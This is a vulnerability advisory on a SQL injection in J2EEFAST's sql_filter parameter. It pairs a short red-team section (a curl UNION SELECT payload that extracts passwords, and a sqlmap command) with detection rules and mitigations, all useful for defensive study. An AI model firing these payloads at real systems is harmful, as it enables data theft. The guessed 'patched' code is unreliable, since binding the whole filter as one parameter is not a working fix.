CVE-2024-33155

Executive Summary

CVE-2024-33155 is a critical SQL injection vulnerability discovered in J2EEFAST v2.7.0, specifically within the getDeptList() function. The flaw resides in the sql_filter parameter, which is not properly sanitized before being used in SQL queries. This allows an unauthenticated attacker to inject arbitrary SQL commands, potentially leading to data exfiltration, modification, or complete database compromise. The vulnerability has a public proof-of-concept (PoC) but no official patch is available at this time. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains high due to the ease of exploitation and potential impact.

Supply Chain & Package Security

J2EEFAST is a Java-based enterprise rapid development framework. The vulnerability is in the core application code, not in a third-party package. However, organizations using J2EEFAST should audit their deployment for this specific version and consider applying virtual patches or Web Application Firewall (WAF) rules until an official fix is released.

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, based on the vulnerability characteristics, a reasonable assessment is:

• Attack Vector (AV): Network (N) – exploitable remotely.
• Attack Complexity (AC): Low (L) – no special conditions required.
• Privileges Required (PR): None (N) – no authentication needed.
• User Interaction (UI): None (N) – no user action required.
• Scope (S): Unchanged (U) – the vulnerable component and the database are the same.
• Confidentiality (C): High (H) – full database read access possible.
• Integrity (I): High (H) – data can be modified or deleted.
• Availability (A): High (H) – database can be disrupted.

Estimated CVSS Score: 9.8 (Critical)

Threat Level: Critical – due to remote, unauthenticated exploitation with high impact.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the getDeptList() function of J2EEFAST v2.7.0. The sql_filter parameter is likely concatenated directly into a SQL query without proper parameterization or escaping. For example, the vulnerable code might look like:

String sql = "SELECT * FROM dept WHERE " + sql_filter;

An attacker can inject SQL by providing a malicious sql_filter value, such as:

1=1 UNION SELECT username, password FROM users--

This would modify the query to return sensitive data from other tables. The injection point is in a GET or POST parameter, making it easily exploitable via browser or automated tools.

Vulnerable vs. Patched Code

Vulnerable Code (J2EEFAST v2.7.0):

public List<Dept> getDeptList(String sql_filter) {
    String sql = "SELECT * FROM dept WHERE " + sql_filter;
    return jdbcTemplate.query(sql, new DeptRowMapper());
}

Patched Code (Hypothetical):

public List<Dept> getDeptList(String sql_filter) {
    String sql = "SELECT * FROM dept WHERE ?";
    return jdbcTemplate.query(sql, new Object[]{sql_filter}, new DeptRowMapper());
}

The patched version uses parameterized queries, preventing SQL injection. Since no official patch exists, developers should implement this fix manually.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Deploy J2EEFAST v2.7.0 in a Docker container.
2. Ensure the application is accessible via HTTP on port 8080.

Exploitation Steps:

1. Identify the vulnerable endpoint, likely /dept/list or similar.
2. Send a crafted request with a malicious sql_filter parameter.

Example Request (using curl):

curl -X GET "http://target:8080/dept/list?sql_filter=1=1 UNION SELECT username,password FROM users--"

Automated Exploitation (using sqlmap):

sqlmap -u "http://target:8080/dept/list?sql_filter=1" --batch --dbs

Expected Outcome: The attacker can enumerate databases, tables, and extract sensitive data.

Blue Team (Defensive)

Detection:

• Monitor for unusual SQL error messages in application logs.
• Look for requests containing SQL keywords (UNION, SELECT, etc.) in the sql_filter parameter.
• Use WAF rules to block suspicious patterns.

Mitigation:

• Apply virtual patching via WAF.
• Implement input validation and parameterized queries.
• Restrict database permissions to limit impact.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests with sql_filter parameter containing SQL keywords.
  • Unusual database error messages in HTTP responses.
• Host IOCs:
  • Application logs showing SQL syntax errors.
  • Unexpected database queries in database logs.
• File IOCs:
  • Modified application code (if attacker gains file access).
• Example IOC Log Entry:

  GET /dept/list?sql_filter=1=1 UNION SELECT 1,2,3-- HTTP/1.1
  

Detection Engineering

YARA Rule

rule CVE_2024_33155_SQLi {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2024-33155"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-33155"
    strings:
        $sql_filter = "sql_filter=" nocase
        $sql_keywords = /(UNION|SELECT|INSERT|DELETE|DROP|OR 1=1|--)/ nocase
    condition:
        $sql_filter and $sql_keywords
}

Sigma Rule

title: CVE-2024-33155 SQL Injection Attempt
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects SQL injection attempts against J2EEFAST getDeptList function
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains: "sql_filter="
        c-uri|contains|all:
            - "UNION"
            - "SELECT"
    condition: selection
falsepositives:
    - Legitimate use of SQL keywords in parameter (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-33155 SQL Injection Attempt"; flow:to_server,established; content:"sql_filter="; http_uri; pcre:"/(UNION|SELECT|INSERT|DELETE|DROP|OR 1=1|--)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Actions:

   • Apply a WAF rule to block requests containing SQL keywords in the sql_filter parameter.
   • Restrict database user permissions to read-only if possible.
   • Monitor logs for exploitation attempts.

2. Long-term Fix:

   • Upgrade to a patched version when available.
   • Implement parameterized queries in all database interactions.
   • Conduct a full code audit for similar vulnerabilities.

3. Compensating Controls:

   • Use an Intrusion Prevention System (IPS) to block SQL injection patterns.
   • Enable detailed logging and alerting for database errors.

Valters IT – Securing Your Digital Frontier